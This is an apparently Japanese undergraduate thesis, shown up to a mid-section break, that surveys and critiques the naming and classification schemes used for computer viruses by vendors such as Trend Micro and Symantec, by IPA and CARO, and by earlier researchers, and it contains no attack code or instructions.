2003 年度卒業論文

コンピュータウイルスの命名と分類方法に関する問題点とウイルスの動作検証

島根大学 総合理工学部
数理・情報システム学科
計算機科学講座 田中研究室
S99505X 和田弘幸

（目次）

第1章　序論

コンピュータの発達に伴い日々の我々の生活、及び、社会経済活動はコンピュータの支え無くしては成り立たないものとなっている。そのコンピュータに感染して一般的に害を与えることを意図して作成されている不正プログラムの一種がコンピュータウイルスと呼ばれるものである。

コンピュータウイルスという名は、元々は生物界に存在するウイルスが宿主とする生物に寄生して生存すること、また、寄生された生物に何らかの害を引き起こす一つの原因として存在することにその名の由来がある。そして、これらのプログラムの動作があたかも生物界のウイルスが宿主として感染した生物に対して害を引き起こす様とコンピュータ内での振る舞いが似ていることから、米国の南カリフォルニア大学のフレデリック・コーエン（Frederick.B.Cohen）により、彼の研究していた自己増殖するプログラムに関する研究論文の内容に関連してコンピュータウイルスと名付けられ、この言葉が初めて使われたと言われている[1]、[3]。

今日ではパーソナルコンピュータに代表されるコンピュータのハードウェアの低価格化と高性能化、一般家庭への普及、通信回線の高速化と多様化に伴うネットワーク化が進んだ。そして、コンピュータ自体もそれを動かす基本プログラム（オペレーティングシステム、以下、OS と略す）やアプリケーションプログラムの高性能化とユーザインタフェースの改良、普及が進んだ。また、コンピュータを利用するユーザのためのプログラム開発環境の充実とその技術の収得のしやすさ、情報の豊富さが以前に比べて比較にならないほど発達した。しかし、その一方ではこれらの発達が新たな新種のコンピュータウイルスを生む要因にもなっている。さらにネットワーク化が進んだ現在では、フロッピーディスクなどに代表される物理的な記録媒体の移動に伴った感染手段に代わって、電子メールの送受信やデータの交換に利用されるネットワークを新たな感染の手段とし、利用することを意図して作られた数多くの新種のコンピュータウイルスが存在しており、その数は現在数万種に達している。そして、これらのうち新しく出てきたコンピュータウイルスの大多数が、コンピュータを動かすソフトウェアそのものの機能やソフトウェアを新たに開発するツール、開発と発達を支える様々な技術、有効利用する技術を悪用して、また、その技術の弱点を利用することを意図して作られたものであり、さらにハードウェアの高性能化、情報処理能力の向上、情報記録媒体の多様化をも利用して日々いろいろな形態と感染機能、手法を備えたものが生み出されている[1]、[2]。

さて、コンピュータウイルスが主にコンピュータを動かすソフトウェア的な技術を利用して、また、その技術の弱点を利用して感染、発病するように意図されているということは見方を変えるとそのようなソフトウェアの技術、弱点を利用しているウイルスは、感染や害を与えるためにその技術や弱点が標的となるコンピュータで使われている必要があり、利用可能な状態であることが前提になっていると考えられる。つまり、その技術が標的であるコンピュータに使われていない場合は、この技術や弱点を用いて感染活動を行うウイ

ルスは感染活動ができなくなると考えられる。したがって、このことは逆にコンピュータウイルスから感染を防ぐ方法の一つに利用できるのではないかと考えられる。

ただし、コンピュータウイルスの中にはウイルスが作られるようになった初期の頃から存在する、一個の独立したプログラムの形態をとるものや基本的に他のファイルに感染しないワームと呼ばれる種類のウイルスが存在する。これらはコンピュータの持つ最も基本の機能であるプログラムを実行するという機能を利用しているに過ぎない。もっともこのように書くとワームは単純なプログラムであるような印象を与えるが、ワーム自身もその存在が知られるようになった初期の頃のものに比較して格段に巧妙で悪意を込められたものが作られるようになってきており、その対処法は近年ますます難しくなってきているのが現状である。また、これらのコンピュータウイルスはコンピュータに使われるソフトウェア的な個々の技術に必ずしも依存しないため（ただし、一般にはコンピュータが用いているアーキテクチャの違いには依存する）、これらのタイプのコンピュータウイルスに対しては単にソフトウェア的な技術での対処、例えばスクリプトの実行環境を無効にするような手法では対処しきれない。よって、別の対処法が必要であり、その点がこのタイプのウイルスの特徴でもある。

本研究では、まず、第 2 章において現在存在する多種多様なコンピュータウイルスにはどの様なものが存在するのか、その把握の助けとなるウイルスの命名と分類方法に関して焦点をあてる。そして、コンピュータウイルスには生物界にみられる学名の様な世界的に統一した命名方法と分類方法が無いことを問題として採り上げる。これは、現在、コンピュータウイルスに対抗するべくウイルス対策プログラムを配布しているベンダーやコンピュータウイルス研究機関が公表し、実際に用いられているウイルスの命名と分類方法は様々であり統一されたものが無いからである。そして、このことはややもするとコンピュータを使う一般ユーザの立場からみた場合、ユーザがコンピュータウイルスの被害を受けた時に、被害をもたらしたウイルスを特定する作業において不利に働くのではないかと考えられるからである。また、感染したウイルスに対して出来るだけ早く有効な対策を採ること、それが出来なければ少なくとも応急の対策をとることは、コンピュータのネットワーク化が進み 2 次感染などの危険性が高まっている現在ではそれを防止する観点からも必要な処置である。

これらの点からもウイルス対策プログラムのベンダーや研究機関ごとに、コンピュータウイルス自体を同定するのに必要な命名方法がいくつも存在するという現在の状況は、一つのウイルスに対して複数の別名を与えてしまう事態を生み出すこととなっている。しかも、このことに加えて分類方法も様々なものが用いられているということは、コンピュータのユーザにとって感染したウイルスの同定に手間取ることとなり、問題があるのではないかとの疑問が本研究を行った背景にある。なお、このことに関して、現在のところ各ベンダーや研究機関は今後も独自にウイルスの命名と分類を行っていくとみられ、これも踏まえてウイルスの命名と分類方法に関する問題点を考察すると共に、主に文献によるこれ

まで行われた先行研究の調査を行い、それを参考にコンピュータウイルスの新しい命名と分類方法に関する一つの試案を本研究では提案した。そして、この新しい命名と分類を現在、実際に存在するコンピュータウイルスに対して適用を行い、その評価と考察を行った。

次に第 3 章では、第 2 章で提案した新しい命名と分類方法に基づいて命名と分類されたコンピュータウイルスの中から、ファイル感染型に分類したウイルス Linux.R16（今回提案した命名方法では f-Linux.R16 と命名）を新種のウイルスと仮定し、これを実際にコンピュータに感染させ、その動作を観察、解析することでこのウイルスに対する対策方法を導き出せないか動作検証実験を行った。また、この実験を通して近年、ますます複雑化、巧妙化する新種のコンピュータウイルスへの対策方法を提供しているウイルス対策プログラムのベンダーなどが行っている新種のウイルスの解析作業について、ウイルスの解析作業には多くの労力が必要とされる現状を検証した。そして、この解析実験を参考に今日ではウイルスの解析と対策方法の確立に裂く労力が以前にも増してますます増大し、ウイルス対策プログラムのベンダーや研究機関が命名と分類方法の統一に労力を避けない、また、その統一する事の重要性が低くなっている現状をもたらしている点について言及し、考察を行った。

第 2 章　現在のコンピュータウイルスの命名と分類方法に関する問題点について

2.1　はじめに

最初のコンピュータウイルスは 1986 年にパキスタンで発見された。これはパキスタンブレインウイルス（Pakistani Brain Virus）として呼ばれるもので、コンピュータに感染し画面にプログラムの不正コピーを警告する文字を表示するだけのウイルスであった[1]、[3]。また、コンピュータウイルスの一種であるとされるワームが初めて現れたのは、1988 年 11 月に米国のニューヨーク州にあるコーネル大学大学院の学生ロバート・モリスが実験のつもりで作成し、ARPAnet（後のインターネットの原型）に放ったネートワークワーム（Network Worm）であった[1]。このワームに分類されるウイルスの共通点は、単独で自己増殖活動を行う点である。よって、何らかのファイルに付着し、感染してから増殖を行うという最も一般的なファイル感染型のウイルスなどとは異なった特徴を持っている。また、基本的に独立した一つのプログラムとして存在しており、単独で増殖して複数のコンピュータに対して感染、被害をもたらすという特徴がある。よって、従来からの（狭義の）コンピュータウイルスの分類には入らない別のもの、すなわちワームという一つの分類項目に今日では分けられるようになっているのがウイルス対策プログラムを配布するベンダーなどを中心とした動きである[10]、[11]。しかし、このワームと呼ばれるウイルスは、場合によってはコンピュータウイルスの一つに数えられたり（広義の場合）、そうでない場合（狭義の場合）があるなどコンピュータウイルスとして数えられる場合とそうでない場合が存在し、研究機関やウイルス対策プログラムのベンダーの間でも見方が異なっている。

また、一般の図書などにおいても完全な区分けがなされて紹介されているとは思われない。

なお、本研究では一般に（狭義の）コンピュータウイルスと考えられているものの中にワームを加えたものをコンピュータウイルスとして以降、取り扱うこととする。ここで何故、ワームのみを（狭義の）コンピュータウイルスと考えられているものの中に加えたのかその理由を述べると、（狭義の）コンピュータウイルスが以前からコンピュータのユーザにもたらす被害は大きなものであったが、昨今ではワームによる被害も無視できないものとなっており、それに比較して他の（広義の）コンピュータウイルスと一般には考えられているトロイの木馬、論理爆弾、デマウイルスなどの被害は少ないと考えたからである。

先に述べたコンピュータウイルスの起源からウイルスをみると、ワーム以外は OS とアプリケーションプログラムから構成されたコンピュータの種々のプログラムやファイル、特定領域などに感染するタイプのウイルス、ワームはコンピュータを自己増殖する場として利用し、単独で感染活動を行いネットワークなどで繋がれた複数のコンピュータ内で増殖活動するコンピュータウイルスの一つとして、現在用いられている分類方法（例えばトレンドマイクロの分類方法）を適用すると大雑把に分類できるものである[11]。しかし、今日、そして、これまで用いられてきた分類方法では広義、狭義のコンピュータウイルスの区別に関わらず、その分類の根拠はウイルスが感染する場所や OS の違いなどとコンピュータウイルス自体が有する性質や感染、発病時の特徴を基に分類しているのではないかと考えられる。そして、この感染場所や性質、感染、発病の特徴による分類方法からは、コンピュータウイルス自体が実際に感染する場所や発病の特徴は解るが、それがもたらす被害に対して、とりわけ感染が発覚した時の対策、さらなる 2 次感染を防ぐための応急処置に関して、どの様に対処すればよいかという情報はすぐには分からない。実際にそれらの対策情報を得るには個々のコンピュータウイルスごとにその感染と発病状況を解析し、この情報を蓄積したデータベースなどにアクセスを行い、これを見ない限り分からず、具体的な対処方法がこれまでの分類方法ではすぐには分かりづらいという欠点があるのではないかと本研究では考えた。

また、世界的に見てもコンピュータウイルスの統一した命名と分類方法はなく[3]、[17]、ウイルス対策プログラムを開発、販売していて業界をリードするベンダーや著名な研究機関が独自に作成した命名と分類方法、または、命名規則を用いて、これまで見つかったコンピュータウイルスや新しく発見されたウイルスに対して適用と命名、分類を行っており、その命名と分類方法を一般のユーザである我々はそのまま受け入れているのが現在の実状である[2]、[17]。したがって、このことはコンピュータウイルスの命名と分類方法がウイルス対策プログラムを配布するベンダーや研究機関ごとに異なり、一つのウイルスに対して複数の別名が付けられているという、ともすれば一般のコンピュータのユーザにはわかりにくく、混乱の原因となる恐れがあるものになっているのではないかと考える。また、実際にユーザのコンピュータがウイルスに感染した場合に、それに対する対処方法が、この分類方法ではウイルスがどのような名前を持つウイルスか判明しても、結局はそのウイ

ルス名でウイルスデータベースを検索して、感染したウイルスの詳細な情報を得ない限り対策が取れない。また、その情報を得ない限り、それ以上の 2 次感染や被害を防止するための応急的な対策を採ることが出来ず、改良の余地があるのではないかと本研究では考えた。だが、この考え方に関してウイルス対策プログラムを導入し、ユーザは難しいことを考えずにそれに対策を全て任せればよいではないかという考え方もあり、このことは考察において言及する。

以上より、この第 2 章ではコンピュータウイルスの命名と分類方法に関して、その問題点を述べるが、命名方法に関しては現在一般のユーザに用いられていると思われる有名なベンダーや研究機関ごとの命名方法、規則をそのまま受け入れる形で採り上げ、分類方法の方に主に焦点を当てる。そして、これまでのコンピュータウイルスの命名と分類方法にどのようなものがあったのか有名なベンダーや研究機関が現在用いている事例と主に文献などによる論文調査、および、過去の先行研究の調査を行い、命名と分類方法の事例を見ていくとともに、それらを参考に本章では新しい分類の提案を行った。また、すでに命名がなされているウイルスの名前に今回行った分類に因んだ接頭辞をつけるという方法で、この分類方法に従う命名方法の改良を提案した。そして、これによりコンピュータがウイルスに感染したときにそのコンピュータウイルスの名前が判れば、この分類方法のどの項目に該当するかを確認しただけで分類項目ごとの対策方法が分かる、または、更なる 2 次感染を防止するための応急的な感染、発病の対策方法を簡単に採ることが出来る命名と分類方法になることを主目的として命名と分類方法の研究を行った。

2.2 先行研究とその事例紹介

本節では、コンピュータウイルスの命名と分類方法に関して、先行研究にどの様なものがあるのか 2004 年 1 月時点において、1990 年から 2004 年までの間に発表された論文について調査を行った。

最初に過去の先行研究について論文検索のための文献データベースである INSPECC（ http://www.engineeringvillage2.org/ ）を用いて論文検索を行った。検索キーワードは全ての検索において computer と virus、または、viruses という単語と共に abnomality、abnomal*、abort、abort*、catalog、catalog*、classification、classifi*、list、list*、index、index*、type、type* などの分類、目録やこれに類似した意味を表す単語との組み合わせによる検索と、virus、または、viruses という単語を worm、または、worms に置き換えての同様の意味を表す単語との組み合わせによる検索を行った。その結果、表 1 のような検索結果が得られた。なお、表 1 においては computer という単語は全ての検索のおいて使われているため特に明示してはいない。また、*は任意の 1 個以上の文字を表し、例えば、abort*のように表記した場合、abort 以下につづく任意の 1 個以上の文字を含んだ後方一致検索を行ったことを表している。

検索単語	virus	viruses	worm	worms
abnomality	6	8	0	0
abnomal*	6	8	0	0
abort	0	0	0	0
abort*	0	0	0	0
catalog	4	3	1	1
catalog*	7	7	3	3
classification	23	24	7	7
classifi*	40	40	9	9
list	63	66	11	9
list*	65	68	11	9
index	9	4	12	12
index*	9	4	12	12
type	149	154	58	58
type*	148	153	58	58

表１　先行研究の検索結果（件）

注意　全ての単語で computer という単語と共に検索がかけられている。

＊は後方一致検索を表す。

表 1 において、まず virus、または、viruses という単語と共に分類、または、それに類似した意味を表す単語と組み合わせて論文検索を行ったところ、type、type*という単語と共に検索を行ったときに最も多くの該当論文が検索され、その数は 150 件前後であった。これは worm、または、worms という単語と共に分類、または、それに類似した意味を表す単語と組み合わせて論文検索を行った場合でも同様に一番多く該当した。つづいて、list、list*という単語と組み合わせて検索を行ったときに virus、または、viruses という単語と共では 60 数件の論文が該当した。また、worm、または、worms では 10 件前後のものが該当した。しかし、分類という意味そのものを表す classification、および、classifi*という単語と共に検索をかけた場合 virus、または、viruses という単語ではそれぞれ 20 数件、40 件ずつの論文しか該当せず、worm、または、worms という単語との組み合わせではそれぞれ 7 件と 9 件であり、コンピュータウイルスの分類方法に関する研究は、実際にはあまり多く行われていないことがこのことから分かった。また、検索で該当した各論文において任意に選んだ数件の論文について要約を調べたところ、体系的にコンピュータウイルスの分類方法を研究の主題として行っているものは今回調べた論文においては見当たらず、また、分類に関係することについて触れている場合でも、年代的に古い MS-DOS オペレーティングシステム（以下では DOS と略す）をプラットフォームにして記述されているものや現在では一般には使われていないタイプの OS に感染するウイルスついて述べられているも

の、また、特定のコンピュータウイルスの分野についてのみ、分類を行ったものなど分類方法自体に研究の焦点がおかれて体系的に研究されているものはなく、むしろ、コンピュータウイルスの仕組みや予防、感染の仕方、その脅威、セキュリティーとその啓蒙などに焦点をおいた論文の中で補足的に述べられているものやこれらの主題を説明する必要に迫られて付け加えられたような形で分類に関して述べられている場合が多いことがわかった。また、現在、一般的に用いられている OS に関連して、体系的なコンピュータウイルスの分類方法に関する研究がなされたものは今回の論文検索において見つけることができなかった。

なお本論文では、論文検索により該当した論文の中から Brunnstein らの論文 Classification of computer anomalies [8]を参考文献の一つとして採り上げた。この論文の中で著者自身らは独自の体系的な分類方法は示さず、以前にどの様なコンピュータウイルスの目録やカタログが作られたかについて数件の例を紹介した後、それらではどの様にウイルスが目録に登録されているのかを具体例を基に紹介している。しかし、目録が作成された背景に関しては、その根拠や体系的な考えを述べるわけではなく、単にこれらの様なコンピュータウイルスに関する情報を集めた源としての例があり、その中で使われている目録やカタログの内容の紹介を述べるに止まっている。そして、その後は著者たちが独自に作成しているコンピュータウイルスを駆除するワクチンプログラムに関して述べられており、このプログラムで使用するコンピュータウイルスを定義する情報源に関して、エキスパートシステムを利用してウイルスの情報源となるデータベースを作成することを述べている。

以上が INSPECC を用いての論文検索による検索結果についてであったが、本研究ではその他に同じ文献検索データベースである SCIRUS（http://www.scirus.com/）を用いても先行研究や関連項目の論文検索を行った。また、広く一般図書、インターネット上の Web 記事を INSPECC で用いたキーワードなどを使用して検索を行った結果、得られた検索結果より参考になると思われるものを参考文献として採用した。また、これらにある先行研究、論文で紹介されている命名と分類方法の事例、および、有名なウイルス対策プログラムのベンダーや著名な研究機関が公表し、用いている命名方法、規則や分類方法の事例についても本研究で採り上げ参考とした。

2.2.1 分類方法の具体的な事例について

以下は先行研究の調査の結果見つかった命名と分類方法の事例について個別に述べたものである。（各表では、具体的なコンピュータウイルスを表すのに付録 2 の対応記号表を用いて理解の助けとした。ただし、付録 2 の対応記号表にある記号 L、Z1 に関しては本研究ではコンピュータウイルスとして考えていないものであるので括弧がつけてある）

棟上の分類方法	
1.メモリに常駐するかどうかによる分類	コンピュータウイルスの具体例
メモリ常駐型ウイルス	A
非メモリ常駐型ウイルス	B
2.感染するタイミングによる分類	コンピュータウイルスの具体例
実行時感染型	C
起動時感染型	D
ファイル処理待機型	E
ディスクアクセス待機型	F
接触感染型	G
3.DOS系ウイルスの感染対象による分類	コンピュータウイルスの具体例
com ファイル感染型	H
exe ファイル感染型	I
boot 領域感染型	J
OS 感染型	K
ディバイスドライバ感染型	L

表 2　棟上の分類

表 2 は棟上ら[1]の分類方法を示したものである。棟上らの分類は主に DOS 系と言われる、今日ではよく知られている米国の Microsoft 社の OS である Windows シリーズが主流になる前の、同社の主力 OS であった MS-DOS が使われているコンピュータに感染するウイルスを前提に分類を行っている。

トレンドマイクロの分類方法	
1.感染する場所による分類	コンピュータウイルスの具体例
ファイル感染型	M
システム領域感染型	T
複合感染型	N
マクロ型	O
トロイの木馬型	P
携帯端末型	Q
2.ウイルスの活動による分類	コンピュータウイルスの具体例
ワーム型	Z
ダイレクトアクション型	B1
ウイルスドロッパー	C1
ネットワーク型	D1
バックドア型	E1
3.ウイルスが利用する技術による分類	コンピュータウイルスの具体例
VB スクリプト型	K1
Java スクリプト型	L1
Java アプレット型	M1
ActiveX コントロール型	N1
ステルス型	O1
ミューテーション型	P1
4.メモリに常駐するかどうかによる分類	コンピュータウイルスの具体例
メモリ常駐型	A
直接感染型	B

表 3　トレンドマイクロの分類

表3は米国の有名なウイルス対策プログラムを開発しているトレンドマイクロ社[11]がWeb上で公開しているコンピュータウイルスの分類方法（感染場所、活動、利用する技術、メモリ常駐の有無による項目からなる）をまとめたものである。トレンドマイクロ社の分類方法は一般のコンピュータのユーザによく知られている分類方法である。日本国内でもこれを参考にしたり、引用する Web サイトや一般図書が多くあるなど国内では事実上の標準的な分類方法の一つの事例になっているのではないかと考える。例えば、ウイルスに対する情報提供を行っている任意団体のワクチンバンクのサイト上で紹介されている分類方法はトレンドマイクロの分類方法を引用している[12]。

Jacob Bryant の分類方法	コンピュータウイルスの具体例
ブートセクタ型ウイルス	J
プログラム型ウイルス	M
マクロ型ウイルス	O
ウイルスもどき	X1

表 4　Jacob Bryant の分類方法

表 4 は Jacob Bryant[16]の分類方法である。Bryant の分類方法は非常にシンプルであり、感染する場所とコンピュータウイルスがマクロで作られているか、そうでないかでマクロウイルスとプログラムウイルスとに分けている。また、今日ではコンピュータウイルスとは一般には考えられていないデマウイルスという項目をもうけて、4 つに分類を行っている。

Cui、Aoki らの分類方法	コンピュータウイルスの具体例
ソースコードウイルス	不明
OS ウイルス	A
シェルウイルス	D2
侵入ウイルス	E

表 5　Cui、Aoki らの分類方法

表 5 は Cui、Aoki ら[4]の分類方法である。Cui、Aoki らの分類方法は他の分類方法とは少し趣が変わっており、まず、高級言語で書かれたプログラムを攻撃するウイルスをソースコードウイルスとして分類している。しかし、具体的にファイルに対してどう攻撃するのかが述べられておらず、具体例を示せなかった。次に OS ウイルスとは OS に直接攻撃をかけるウイルスとして述べられているが、その例として Pakistani Brain Virus のように単にプログラムの不正コピーを警告するだけのウイルスを挙げていた点は何故 OS への攻撃に該当するのか疑問であった。このウイルスは特に OS を攻撃するようなウイルスとは思われないからである。3 番目のシェルウイルスとはコンピュータのディスクを初期化するウイルスであり、4 番目の侵入ウイルスとは文献の説明から実行可能ファイルに感染するウイルスのことを述べていると思われる。この様に Cui、Aoki らの分類は少しウイルスの見方と分類名が変わっており、独自性を出そうとしてこの様な名前にしているのではないかと推測する。

Frej Drejhammar の分類方法	コンピュータウイルスの具体例
拡張子が EXE や COM であるファイルを上書きするもの	H
拡張子が EXE や COM であるファイルを上書きしないもの	B
COM ファイルを偽装するもの	W1
ブートセクタやパーティションテーブルに感染するウイルス	J

表 6　Frej Drejhammar の分類方法

表 6 は Frej Drejhammar[17]の分類方法である。Drejhammar の分類方法は表 2 の棟上の分類方法の 3.DOS 系ウイルスの感染対象による分類の項目とほぼ同じであり、これに含めることが出来る分類方法ではないかと考えている。

中村の分類方法	
1.4 つの OS 別分類	コンピュータウイルスの具体例
Windows と DOS 用ウイルス	G1
Macintosh 用ウイルス	H1
UNIX 用ウイルス	I1
汎用ウイルス	J1
2.感染場所別分類	コンピュータウイルスの具体例
ブートセクタ感染型ウイルス	J
ファイル感染型ウイルス	M
ブートセクタ・ファイル感染型ウイルス	A1
マクロ型ウイルス	K1

表 7　中村の分類方法

表 7 は中村の分類方法[3]である。中村はまず、代表的な OS の種類を基に 4 つの OS 別分類として、感染するコンピュータウイルスを分類している。それには Windows と DOS 用ウイルス、Macintosh 用ウイルス、UNIX 用ウイルス、汎用ウイルスという分類であり、分かりやすい分類である。次に感染場所による分類を行っており、それにはブートセクタ感染型ウイルス、ファイル感染型ウイルス、ブートセクタ・ファイル感染型ウイルス、マクロ型ウイルスとなっている。この 2 つ目の分類はトレンドマイクロの分類方法において 1.感染する場所による分類の項目に含めることができる分類方法である。

2.2.2　命名方法の具体的な事例について

次にコンピュータウイルスの命名方法についてであるが、これについては今回調べた限りにおいて分類方法と同じく様々なものがあることが分かった。しかし、分類方法と同様、世界的に統一された命名方法を見つけることはできなかった。以下のものは世界的に統一されて使われているものではないが命名方法の事例として紹介する。なお、表 2 の著者と表 3 のベンダーでは命名方法の一例がそれぞれ紹介されていたが表 4、5、6、7 で紹介した著者らは、命名方法に関しては独自のものを述べていなかった。また、ここでは分類方法の事例では紹介していないベンダーや研究機関の命名方法についても紹介している。

表 2 の棟上らは自分たちの分類方法を述べると共にコンピュータウイルスの命名方法については情報処理振興事業協会[15]の命名法を紹介している。ここでは簡単にその命名方法を紹介する。また、より詳しい命名方法の詳細については付録 1 として挙げてある。

情報処理振興事業協会ではコンピュータウイルスの命名に関して、国内で新たに見つかったもののみを命名の対象としており、海外で見つかった新種のウイルスは海外で命名される名前を用いるとしている。また、海外で確認にされ命名済みのウイルスについてもそのままその名前を使用するとし、国内で新たに発見されたウイルスに対して以下の命名式に従って出来る限り無機質な名称を付けるとしている。

ウイルスコード名 ＝ OS ＋ 感染場所（複数可）＋ 発病状況（複数可）＋ 届出順通番

この命名式において、各項目の識別には付録 1 にあるような識別子を用いて命名を行っている。例えば、DApm-2 と命名されたウイルスは D が OS 別では MS-DOS を表し、A が感染場所としてアプリケーションを表す。そして、m が発病状況としてメッセージを表示することを表し、2 が国内で確認され情報処理振興事業協会に届けられた 2 番目のコンピュータウイルスであることを表している。

表 3 のレンドマイクロ社[11]は、Web 上で公開しているコンピュータウイルスの分類方法と共に名称の作成方法として次のような命名式に基づく命名方法を公開している。

接頭語 ＋ アンダーバー（_）＋ コンピュータウイルス名 ＋ ドット（.）＋ 亜種情報

この命名式において、接頭語はウイルスの種類を表すものとしてウイルスが作られたときに用いられているプログラミング言語や感染する OS 別などにより決められている。次に接頭語に続くウイルス別の固有の名前は、感染したウイルスが作るファイル名やウイルスコードの中にある文字列など、または、トレンドマイクロのウイルス解析サポートセンターにて新たに発見されたウイルスの解析を行う解析者が名づけたものを採用する場合があ

るとしている。また、世界的なウイルス研究者が集まって作られた組織 CARO（Computer Anti-virus Research Organization）によって名づけられたものを採用する場合などがあるとしている。なお、最後の亜種情報とは最初に見つかったウイルスに類似していたり、その後改変、改悪されたものについて初めて発見されたものを A、以降、亜種が発見されるごとに順に B、C、D とアルファベット順に付けていくとしている。例えば、JS_SEEKER.H というコンピュータウイルスは JS から Java Script で書かれており、ウイルス名が SEEKER、最初に発見されたものに対して H 番目の亜種であることを表している。

表 3 の米国のレンドマイクロ社と並び有名なウイルス対策プログラムを開発している会社にシマンテック[10]がある。この会社が Web 上で公開しているコンピュータウイルスの命名規則は次のような命名式に基づく命名方法である。

接頭辞 ＋ドット（.）＋ ウイルスの名前 ＋ ドット（.）＋ 接尾辞

この命名式において、まず、コンピュータウイルスの名前を上の命名式にみられる項目で構成し、接頭辞は感染、増殖対象となる OS 別のプラットフォームかウイルスの種類を表し、MS-DOS に感染するコンピュータウイルスについては通常、接頭辞は着けないとしている。ウイルスの名前はそのウイルスのファミリー名とし、接尾辞はそのウイルスを同じファミリーの他の亜種、変種と区別する場合に付加されているが、必ずしも名前が付いている全てのウイルスに付けられているとは限らないとしている。また、接尾辞は通常コンピュータウイルスのサイズを示す数字やアルファベットで示すとしている。例えば、W2K.Installer.1676 というコンピュータウイルスは OS が Windows2000 をプラットフォームとしていて、名前が Installer というコンピュータウイルスであり、1676 という数字からこのウイルスのサイズが 1676 バイトであることを表している。

表 3 で紹介した米国のレンドマイクロ社などのウイルス対策ソフトベンダーは、コンピュータウイルスの命名方法に関してウイルスの研究者たちが組織する CARO（Computer Anti-virus Research Organization）の命名規則を参考に独自に改良をしているということである[19]。CARO の命名規則はコンピュータウイルスの研究者 Fridrik Skulason、Alan Solomon、Vesselin Bontchev らが作成したモジュール式の命名規則で 1991 年に採用されたものであり、それは次のような命名式に基づくものである。

Group_Name ＋（.）＋ Major_Variant ＋（.）＋ Minor_Variant

この命名式において、まず、Group_Name として固有のウイルスの名前をつける。これはウイルスのコードを分析してその中から取ってくることもある。Major_Variant は、他とは

明らかに異なる亜種を表す 1 文字で表されることが多く、例えば、LoveLetter ワームの亜種は LoveLetter.A、LoveLetter.B、LoveLetter.C のように最後にアルファベットが一文字付く。Minor_Variant は、各ウイルスの小さな違いを表す。ウイルスのファイルサイズを示す数値が含まれることもあり、例えば、FunLove.4099 の 4099 はこのウイルスが 4099 バイトの大きさであることを表す。

以上が CARO の命名規則であるが、実際にはウイルス対策ソフトベンダーはこの CARO のウイルスの命名規則に従う義務はなく、また、常にすべての項目を満たして命名されることはないということである[19]。

2.3 先行研究に見られる命名と分類方法の評価

2.2 節において調べた先行研究、一般図書、インターネット上の Web 記事、有名なウイルス対策プログラムベンダー、著名な研究機関などで紹介されている命名と分類方法の事例や現在、実際に用いられている命名と分類方法について、本節ではこれらの命名と分類方法にはどの様な長所と欠点があるか評価を行った。なお、個別の命名と分類方法に関する評価を行った後、最後に総合的な評価を述べる。

・表 2 にある棟上らの分類方法について

（分類の各項目）

棟上らの分類方法は次の 3 つの項目にウイルスが分類されている。

1.コンピュータウイルスがメモリに常駐するかどうかによる分類

2.感染するタイミングによる分類

3.DOS 系ウイルスの感染対象による分類

（長所）

この分類は、シンプルなので分かりやすい分類となっている。

ウイルスがコンピュータに侵入した時点と感染場所を根拠とした分類となっている点は理解しやすい分類方法である。

（短所）

複合感染型のコンピュータウイルスの場合については、1 つのウイルスが 2 つ以上の項目に分類されることになり、同一のコンピュータウイルスが重複する点をどの様にするのか、重複を許すのかどうかなど具体的な処置についての事柄が述べてられていない。

分類の基準が MS-DOS を OS の基準にしたものであり、現在では古い OS に対応した分類方法であるという感が否めない。

・表 2 にある棟上らの命名方法について

（長所）

棟上らはコンピュータウイルスの命名方法として情報処理振興事業協会のものを紹介していた。これは日本国内で新たに発見されたウイルスについてのみ新たに命名を行うものであり､付録 1 に詳細がみられるように簡略で分かりやすい点が評価できる命名法である。

（短所）

例えば、日本国内で新種のウイルスとして発見され命名されても海外では同一のウイルスが別の名前で命名される場合があることを考えると果たして日本国内で初めて見つかったからといってウイルスを命名しても、その一方で、海外で別の名前が付けられている現状では、日本での命名に意味があるのか疑問である。海外では同一のウイルスが別の名前になっていることを考えるとかえって一般ユーザに混乱を与える原因になるのではないかと考えられる。

また、実際問題として情報処理振興事業協会の命名方法は、一般のユーザにとってトレンドマイクロやシマンテックの命名方法ほど認知度がなく、むしろ、これらより低いのが現状である。よって、わざわざ情報処理振興事業協会の命名によるウイルス名を使うより、一般ユーザにはウイルス対策プログラムで有名なこれらのベンダーが用いている命名方法で命名されたウイルス名をユーザは使うのが実情ではないかと考えられる。

・表 3 のトレンドマイクロの分類方法について

（分類の各項目）

トレンドマイクロの分類方法は大きくコンピュータウイルスを次の４つの項目に分類している。

1.感染する場所による分類
2.ウイルスの活動による分類
3.ウイルスが利用する技術による分類
4.メモリに常駐するかどうかによる分類

（長所）

この分類では、ウイルスを大きく 4 つの分類項目に分けており、その各分類項目内でさらに細かくコンピュータウイルスを分けていて詳しい分類方法となっている。

コンピュータウイルスの分類方法として、日本国内のコンピュータの一般のユーザ間では認知度の高い分類方法となっており、事実上の標準の分類方法となっていると考えられる。

（短所）

メモリに常駐するかどうかの分類の項目に関しては、プログラムの一種であるコンピュ

ータウイルスが感染活動をするには、何らかの手段でメモリをいったん介してしか行えないはずなので、これをひとつの分類項目に分けるより、この項目の中で残りの 3 つの分類項目がそれぞれ分類される分類方法にしたほうがより正確で簡略な分かりやすい分類方法になるのではないかと考える。

・表 3 のトレンドマイクロの命名方法について

（長所）

命名方法に関しては、トレンドマイクロは CARO の命名規則を参考にこれに改良を行って用いている。その命名方法は、上でも紹介したように次の命名式にあてはめてウイルスを命名するものである。

接頭語 ＋ アンダーバー（_）＋ コンピュータウイルス名 ＋ ドット（.）＋ 亜種情報

この命名方法では、2004 年 1 月現在で接頭語の種類が 16 あり、それぞれについて記号化されていて、その意味が HP 上で説明がなされている[11]。HP 上で公開されているこの接頭語に関する説明を読めば、接頭語の数も少ないことから、ウイルスの名前からウイルスがどのような種類のものかおおよその見当が付くのではないかと考える。実際この命名方法は、現在、日本国内において一般的によく知られた命名方法であり、今日存在するウイルスを表す事実上の標準の命名方法となっていて今後も支持されるものと思われる。

（短所）

現在のさまざまな種類のコンピュータウイルスには亜種を持つものが少なくなく、亜種情報に関してそれらを単に発見された順番に無機質なアルファベットを付けてゆくだけではそのウイルス名から得られる情報が限られ、せっかくの知名度がある命名方法であるのに物足りないのではないかと考える。亜種の中には元のウイルスが持っていなかったような機能を持つものや元のウイルスを改良して、害を及ぼす力が強くなっているものが一般的には多く存在し、その様な点からも特に強力に改良されている亜種は、他の亜種と区別しやすい名前にする必要があるのではないかと考える。その点で亜種情報にはまだ改善の余地があるのではないかと考えられる。

・表 4 の Jacob Bryant の分類方法について

（分類の各項目）

Jacob Bryant の分類方法は次の 4 つの項目にウイルスを分類している。

1.ブートセクタ型ウイルス

2.プログラム型ウイルス

3.マクロ型ウイルス

4.ウイルスもどき

